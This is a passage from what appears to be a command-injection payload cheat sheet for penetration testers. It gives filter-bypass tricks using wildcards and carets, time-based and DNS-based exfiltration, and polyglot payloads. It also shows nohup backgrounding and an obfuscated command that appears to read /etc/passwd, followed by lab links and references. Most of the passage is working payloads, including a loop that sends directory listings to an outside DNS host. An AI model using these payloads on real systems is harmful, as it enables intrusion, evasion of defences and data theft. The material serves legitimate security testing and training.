<a id="__codelineno-29-5" name="__codelineno-29-5" href="#__codelineno-29-5"></a><span class="nb">cat </span><span class="p">${</span><span class="n">test</span><span class="p">//</span><span class="n">hh</span><span class="p">?</span><span class="k">?</span><span class="n">hm</span><span class="p">/}</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-with-wildcards">Bypass With Wildcards</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="n">powershell</span> <span class="n">C</span><span class="p">:\*\*</span><span class="n">2</span><span class="p">\</span><span class="n">n</span><span class="p">?</span><span class="k">?</span><span class="n">e</span><span class="p">*</span><span class="n">d</span><span class="p">.*?</span> <span class="c"># notepad</span>
|
||
<a id="__codelineno-30-2" name="__codelineno-30-2" href="#__codelineno-30-2"></a><span class="p">@^</span><span class="n">p</span><span class="p">^</span><span class="n">o</span><span class="p">^</span><span class="n">w</span><span class="p">^</span><span class="n">e</span><span class="p">^</span><span class="n">r</span><span class="p">^</span><span class="n">shell</span> <span class="n">c</span><span class="p">:\*\*</span><span class="n">32</span><span class="p">\</span><span class="n">c</span><span class="p">*</span><span class="k">?</span><span class="n">c</span><span class="p">.</span><span class="n">e</span><span class="k">?</span><span class="n">e</span> <span class="c"># calc</span>
|
||
</code></pre></div>
|
||
<h2 id="data-exfiltration">Data Exfiltration</h2>
|
||
<h3 id="time-based-data-exfiltration">Time Based Data Exfiltration</h3>
|
||
<p>Extracting data char by char and detect the correct value based on the delay.</p>
|
||
<ul>
|
||
<li>
|
||
<p>Correct value: wait 5 seconds
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="n">time</span> <span class="k">if</span> <span class="p">[</span> <span class="p">$(</span><span class="n">whoami</span><span class="p">|</span><span class="n">cut</span> <span class="n">-c</span> <span class="n">1</span><span class="p">)</span> <span class="p">==</span> <span class="n">s</span> <span class="p">];</span> <span class="n">then</span> <span class="nb">sleep </span><span class="n">5</span><span class="p">;</span> <span class="n">fi</span>
|
||
<a id="__codelineno-31-2" name="__codelineno-31-2" href="#__codelineno-31-2"></a><span class="n">real</span> <span class="n">0m5</span><span class="p">.</span><span class="n">007s</span>
|
||
<a id="__codelineno-31-3" name="__codelineno-31-3" href="#__codelineno-31-3"></a><span class="n">user</span> <span class="n">0m0</span><span class="p">.</span><span class="n">000s</span>
|
||
<a id="__codelineno-31-4" name="__codelineno-31-4" href="#__codelineno-31-4"></a><span class="n">sys</span> <span class="n">0m0</span><span class="p">.</span><span class="n">000s</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
<li>
|
||
<p>Incorrect value: no delay
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="n">swissky</span><span class="nv">@crashlab</span><span class="p">:~$</span> <span class="n">time</span> <span class="k">if</span> <span class="p">[</span> <span class="p">$(</span><span class="n">whoami</span><span class="p">|</span><span class="n">cut</span> <span class="n">-c</span> <span class="n">1</span><span class="p">)</span> <span class="p">==</span> <span class="n">a</span> <span class="p">];</span> <span class="n">then</span> <span class="nb">sleep </span><span class="n">5</span><span class="p">;</span> <span class="n">fi</span>
|
||
<a id="__codelineno-32-2" name="__codelineno-32-2" href="#__codelineno-32-2"></a><span class="n">real</span> <span class="n">0m0</span><span class="p">.</span><span class="n">002s</span>
|
||
<a id="__codelineno-32-3" name="__codelineno-32-3" href="#__codelineno-32-3"></a><span class="n">user</span> <span class="n">0m0</span><span class="p">.</span><span class="n">000s</span>
|
||
<a id="__codelineno-32-4" name="__codelineno-32-4" href="#__codelineno-32-4"></a><span class="n">sys</span> <span class="n">0m0</span><span class="p">.</span><span class="n">000s</span>
|
||
</code></pre></div></p>
|
||
</li>
|
||
</ul>
|
||
<h3 id="dns-based-data-exfiltration">Dns Based Data Exfiltration</h3>
|
||
<p>Based on the tool from <a href="https://github.com/HoLyVieR/dnsbin">HoLyVieR/dnsbin</a>, also hosted at <a href="http://dnsbin.zhack.ca/">dnsbin.zhack.ca</a></p>
|
||
<ol>
|
||
<li>Go to http://dnsbin.zhack.ca/</li>
|
||
<li>Execute a simple 'ls'
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-33-1" name="__codelineno-33-1" href="#__codelineno-33-1"></a><span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="p">$(</span><span class="nb">ls </span><span class="p">/)</span> <span class="p">;</span> <span class="k">do</span> <span class="n">host</span> <span class="s2">"$i.3a43c7e4e57a8d0e2057.d.zhack.ca"</span><span class="p">;</span> <span class="n">done</span>
|
||
</code></pre></div></li>
|
||
</ol>
|
||
<p>Online tools to check for DNS based data exfiltration:</p>
|
||
<ul>
|
||
<li>http://dnsbin.zhack.ca/</li>
|
||
<li>https://app.interactsh.com/</li>
|
||
<li>Burp Collaborator</li>
|
||
</ul>
|
||
<h2 id="polyglot-command-injection">Polyglot Command Injection</h2>
|
||
<p>A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.</p>
|
||
<ul>
|
||
<li>Example 1:
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-34-1" name="__codelineno-34-1" href="#__codelineno-34-1"></a><span class="n">Payload</span><span class="p">:</span> <span class="n">1</span><span class="p">;</span><span class="n">sleep</span><span class="p">${</span><span class="n">IFS</span><span class="p">}</span><span class="n">9</span><span class="p">;</span><span class="c">#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}</span>
|
||
<a id="__codelineno-34-2" name="__codelineno-34-2" href="#__codelineno-34-2"></a>
|
||
<a id="__codelineno-34-3" name="__codelineno-34-3" href="#__codelineno-34-3"></a><span class="c"># Context inside commands with single and double quote:</span>
|
||
<a id="__codelineno-34-4" name="__codelineno-34-4" href="#__codelineno-34-4"></a><span class="nb">echo </span><span class="n">1</span><span class="p">;</span><span class="n">sleep</span><span class="p">${</span><span class="n">IFS</span><span class="p">}</span><span class="n">9</span><span class="p">;</span><span class="c">#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}</span>
|
||
<a id="__codelineno-34-5" name="__codelineno-34-5" href="#__codelineno-34-5"></a><span class="nb">echo </span><span class="s1">'1;sleep${IFS}9;#${IFS}'</span><span class="p">;</span><span class="n">sleep</span><span class="p">${</span><span class="n">IFS</span><span class="p">}</span><span class="n">9</span><span class="p">;</span><span class="c">#${IFS}";sleep${IFS}9;#${IFS}</span>
|
||
<a id="__codelineno-34-6" name="__codelineno-34-6" href="#__codelineno-34-6"></a><span class="nb">echo </span><span class="s2">"1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}"</span><span class="p">;</span><span class="n">sleep</span><span class="p">${</span><span class="n">IFS</span><span class="p">}</span><span class="n">9</span><span class="p">;</span><span class="c">#${IFS}</span>
|
||
</code></pre></div></li>
|
||
<li>Example 2:
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-35-1" name="__codelineno-35-1" href="#__codelineno-35-1"></a><span class="n">Payload</span><span class="p">:</span> <span class="p">/*$(</span><span class="nb">sleep </span><span class="n">5</span><span class="p">)`</span><span class="nb">sleep </span><span class="n">5</span><span class="p">``*/</span><span class="n">-sleep</span><span class="p">(</span><span class="n">5</span><span class="p">)-</span><span class="s1">'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'</span><span class="s2">"||sleep(5)||"</span><span class="p">/*`*/</span>
|
||
<a id="__codelineno-35-2" name="__codelineno-35-2" href="#__codelineno-35-2"></a>
|
||
<a id="__codelineno-35-3" name="__codelineno-35-3" href="#__codelineno-35-3"></a><span class="c"># Context inside commands with single and double quote:</span>
|
||
<a id="__codelineno-35-4" name="__codelineno-35-4" href="#__codelineno-35-4"></a><span class="nb">echo </span><span class="n">1</span><span class="p">/*$(</span><span class="nb">sleep </span><span class="n">5</span><span class="p">)`</span><span class="nb">sleep </span><span class="n">5</span><span class="p">``*/</span><span class="n">-sleep</span><span class="p">(</span><span class="n">5</span><span class="p">)-</span><span class="s1">'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'</span><span class="s2">"||sleep(5)||"</span><span class="p">/*`*/</span>
|
||
<a id="__codelineno-35-5" name="__codelineno-35-5" href="#__codelineno-35-5"></a><span class="nb">echo </span><span class="s2">"YOURCMD/*</span><span class="p">$(</span><span class="nb">sleep </span><span class="n">5</span><span class="p">)</span><span class="s2">`sleep 5</span><span class="se">``</span><span class="s2">*/-sleep(5)-'/*</span><span class="p">$(</span><span class="nb">sleep </span><span class="n">5</span><span class="p">)</span><span class="s2">`sleep 5` #*/-sleep(5)||'"</span><span class="p">||</span><span class="n">sleep</span><span class="p">(</span><span class="n">5</span><span class="p">)||</span><span class="s2">"/*`*/"</span>
|
||
<a id="__codelineno-35-6" name="__codelineno-35-6" href="#__codelineno-35-6"></a><span class="nb">echo </span><span class="s1">'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'</span><span class="p">/*$(</span><span class="nb">sleep </span><span class="n">5</span><span class="p">)`</span><span class="nb">sleep </span><span class="n">5</span><span class="p">`</span> <span class="c">#*/-sleep(5)||'"||sleep(5)||"/*`*/'</span>
|
||
</code></pre></div></li>
|
||
</ul>
|
||
<h2 id="tricks">Tricks</h2>
|
||
<h3 id="backgrounding-long-running-commands">Backgrounding Long Running Commands</h3>
|
||
<p>In some instances, you might have a long running command that gets killed by the process injecting it timing out.
|
||
Using <code>nohup</code>, you can keep the process running after the parent process exits.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-36-1" name="__codelineno-36-1" href="#__codelineno-36-1"></a>nohup<span class="w"> </span>sleep<span class="w"> </span><span class="m">120</span><span class="w"> </span>><span class="w"> </span>/dev/null<span class="w"> </span><span class="p">&</span>
|
||
</code></pre></div>
|
||
<h3 id="remove-arguments-after-the-injection">Remove Arguments After The Injection</h3>
|
||
<p>In Unix-like command-line interfaces, the <code>--</code> symbol is used to signify the end of command options. After <code>--</code>, all arguments are treated as filenames and arguments, and not as options.</p>
|
||
<h2 id="labs">Labs</h2>
|
||
<ul>
|
||
<li><a href="https://portswigger.net/web-security/os-command-injection/lab-simple">PortSwigger - OS command injection, simple case</a></li>
|
||
<li><a href="https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays">PortSwigger - Blind OS command injection with time delays</a></li>
|
||
<li><a href="https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection">PortSwigger - Blind OS command injection with output redirection</a></li>
|
||
<li><a href="https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band">PortSwigger - Blind OS command injection with out-of-band interaction</a></li>
|
||
<li><a href="https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration">PortSwigger - Blind OS command injection with out-of-band data exfiltration</a></li>
|
||
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection">Root Me - PHP - Command injection</a></li>
|
||
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass">Root Me - Command injection - Filter bypass</a></li>
|
||
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/PHP-assert">Root Me - PHP - assert()</a></li>
|
||
<li><a href="https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace">Root Me - PHP - preg_replace()</a></li>
|
||
</ul>
|
||
<h3 id="challenge">Challenge</h3>
|
||
<p>Challenge based on the previous tricks, what does the following command do:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-37-1" name="__codelineno-37-1" href="#__codelineno-37-1"></a><span class="n">g</span><span class="p">=</span><span class="s2">"/e"</span><span class="p">\</span><span class="n">h</span><span class="s2">"hh"</span><span class="p">/</span><span class="n">hm</span><span class="s2">"t"</span><span class="n">c</span><span class="p">/\</span><span class="n">i</span><span class="s2">"sh"</span><span class="n">hh</span><span class="p">/</span><span class="n">hmsu</span><span class="p">\</span><span class="n">e</span><span class="p">;</span><span class="n">tac</span><span class="p">$@<${</span><span class="n">g</span><span class="p">//</span><span class="n">hh</span><span class="p">?</span><span class="k">?</span><span class="n">hm</span><span class="p">/}</span>
|
||
</code></pre></div>
|
||
<p><strong>NOTE</strong>: The command is safe to run, but you should not trust me.</p>
|
||
<h2 id="references">References</h2>
|
||
<ul>
|
||
<li><a href="https://staaldraad.github.io/post/2019-11-24-argument-injection/">Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019</a></li>
|
||
<li><a href="https://sonarsource.github.io/argument-injection-vectors/">Argument Injection Vectors - SonarSource - February 21, 2023</a></li>
|
||
<li><a href="https://www.exploit-db.com/papers/33930">Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014</a></li>
|
||
<li><a href="https://twitter.com/DissectMalware/status/1025604382644232192">Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018</a></li>
|
||
<li><a href="https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136">Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017</a></li>
|
||
<li><a href="https://twitter.com/asdizzle_/status/895244943526170628">No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017</a></li>
|
||
<li><a href="https://portswigger.net/web-security/os-command-injection">OS Command Injection - PortSwigger - 2024</a></li>
|
||
<li><a href="https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/">SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017</a></li>
|
||
<li><a href="https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md">TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018</a></li>
|
||
<li><a href="https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/">WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025</a></li>
|
||
</ul>
|
||
|
||
|
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|
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